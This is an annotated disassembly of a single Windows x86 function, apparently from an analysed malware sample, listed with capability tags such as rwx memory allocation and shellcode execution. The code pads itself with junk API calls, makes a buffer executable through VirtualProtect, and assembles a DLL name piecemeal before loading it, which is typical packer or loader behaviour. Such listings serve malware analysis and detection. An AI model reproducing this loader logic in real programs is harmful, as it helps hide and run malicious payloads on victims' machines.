Function at 0x80f400
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Identify system language via api
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x81065c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x2370
call fcn.004139a0
push ebx
mov ebx, dword [esp + 0x30]
push ebp
mov ebp, dword [esp + 0xfc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x80f451
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0xb9b120], 0x6fb
jne 0x80f469
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9af9f6
jle 0x80f481
cmp ebx, 0xc10b30
je 0x80f481
cmp ebp, 0x90503cc
jne 0x80f48a
inc esi
cmp esi, 0x83362
jl 0x80f43f
cmp dword [0xb9b120], 0xcf8
jne 0x80f633
push 0
call fcn.00407b7d
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.00417554
add esp, 8
lea eax, [esp + 0x50]
push eax
call fcn.00405b10
push ebp
call fcn.00407cd0
fldz
push ecx
fstp qword [esp]
call fcn.00407d00
fstp st(0)
push ebp
push ebp
call fcn.00407b3d
push ebp
push ebp
call fcn.00407b3d
push ebp
call fcn.00407e21
add esp, 0x1c
push ebp
push ebp
push ebp
call fcn.00407ed3
add esp, 0xc
push ebp
push ebp
push ebp
push ebp
push ebp
call fcn.00407838
mov edx, dword [esp + 0x64]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xbc]
add esp, 0x14
mov dword [esp + 0x40], ecx
mov dword [esp + eax + 0x50], 0x4046fc
mov dword [esp + 0x23bc], ebp
test byte [esp + 0xa0], 1
lea ecx, [esp + 0x60]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x60], 0x4046bc
je 0x80f546
mov edx, dword [esp + 0x70]
mov eax, dword [edx]
push eax
call fcn.00407cf2
add esp, 4
mov eax, dword [esp + 0x70]
mov dword [eax], ebp
mov ecx, dword [esp + 0x80]
mov dword [ecx], ebp
mov edx, dword [esp + 0x90]
mov dword [edx], ebp
mov eax, dword [esp + 0x74]
mov dword [eax], ebp
mov ecx, dword [esp + 0x84]
mov dword [ecx], ebp
mov edx, dword [esp + 0x94]
mov dword [edx], ebp
and dword [esp + 0xa0], 0xfffffffe
mov dword [esp + 0x9c], ebp
mov dword [esp + 0x60], 0x404674
mov byte [esp + 0x23bc], 1
mov eax, dword [esp + 0x98]
mov ebx, eax
cmp eax, ebp
je 0x80f5ed
mov edi, dword [eax]
cmp edi, ebp
je 0x80f5e4
push ebp
lea ecx, [esp + 0x40]
call fcn.00406fd2
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x80f5c2
cmp eax, 0xffffffff
jae 0x80f5c2
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x3c]
and esi, edi
call fcn.00406ffa
cmp esi, ebp
je 0x80f5e4
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407cf2
add esp, 4
lea ecx, [esp + 0x64]
mov byte [esp + 0x23bc], 0
call fcn.0040702b
mov dword [esp + 0x23bc], 0xffffffff
mov eax, dword [esp + 0x50]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa8]
mov dword [esp + ecx + 0x50], 0x4046b4
push edx
mov dword [esp + 0xac], 0x404660
call fcn.00406bde
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x80f64e
mov eax, 0x5d1
add dword [0xb9b120], eax
cmp dword [0xb9b120], 3
jne 0x80f665
push 0
push 0
lea eax, [esp + 0x388]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x80f63b
mov ecx, dword [0xb9b120]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [0x81b184], eax
mov eax, dword [0xb9b120]
xor esi, esi
test eax, eax
je 0x80f6bb
call fcn.0080ef50
cmp dword [0xb9b120], 0x29
jne 0x80f6b1
push 0
push 0
lea edx, [esp + 0x388]
push edx
push 0
call edi
mov eax, dword [0xb9b120]
inc esi
cmp esi, eax
jb 0x80f693
cmp eax, 0x70
jne 0x80f7df
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
call esi
push 0
push 0x404164
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x380]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x40]
push ecx
push 0
push 0x4041c8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push 0
lea edx, [esp + 0x1384]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
lea eax, [esp + 0x1b84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
lea ecx, [esp + 0x48]
push ecx
push 0
lea edx, [esp + 0x100]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
lea eax, [esp + 0xb88]
push eax
push 0
call edi
push 0x404214
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0x404254
push 0x40426c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
push 0
push 0
lea ecx, [esp + 0x788]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x3c], 0x9682ab
nop
cmp dword [0xb9b120], 3
jne 0x80f82d
push 0x4042a8
push 0
lea edx, [esp + 0x1388]
push edx
push 0x4042c0
push 0x404308
push 0x404388
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [0xb9b120], 0xdf
jne 0x80f948
push 0x4043dc
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x48]
push edx
push eax
push eax
lea ecx, [esp + 0x78c]
push ecx
push eax
mov dword [esp + 0x54], eax
call ebp
lea edx, [esp + 0x4c]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0
call esi
push 0x404410
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x404454
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0
push 0x40447c
push 0x4044a8
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea ecx, [esp + 0xf0]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
push 0
lea edx, [esp + 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
lea eax, [esp + 0x1384]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea ecx, [esp + 0xb80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec dword [esp + 0x3c]
jne 0x80f800
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
lea ecx, [ecx]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x80f960
mov eax, dword [0xb9b120]
mov ecx, dword [0x81b184]
lea edx, [esp + 0x44]
push edx
push 0x40
push eax
push ecx
mov byte [0x8163f0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080f200
mov eax, 0
add dword [0x81b184], eax
push 0x8163f0
mov dword [0x8163f2], 0x33676d69
mov word [0x8163f0], 0x736d
mov dword [0x8163f8], 0x6c6c64
mov word [0x8163f6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0xb9b120], 0xc30
jne 0x80fa99
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [esp + 0x240]
push edx
push 0x404530
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea eax, [esp + 0x48]
push eax
push esi
lea ecx, [esp + 0x78c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x404594
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
lea edx, [esp + 0xb84]
push edx
push 0x40459c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea eax, [esp + 0x1384]
push eax
push 0x4045c0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea ecx, [esp + 0x1b84]
push ecx
push 0x404640
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x44]
push esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x23b4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret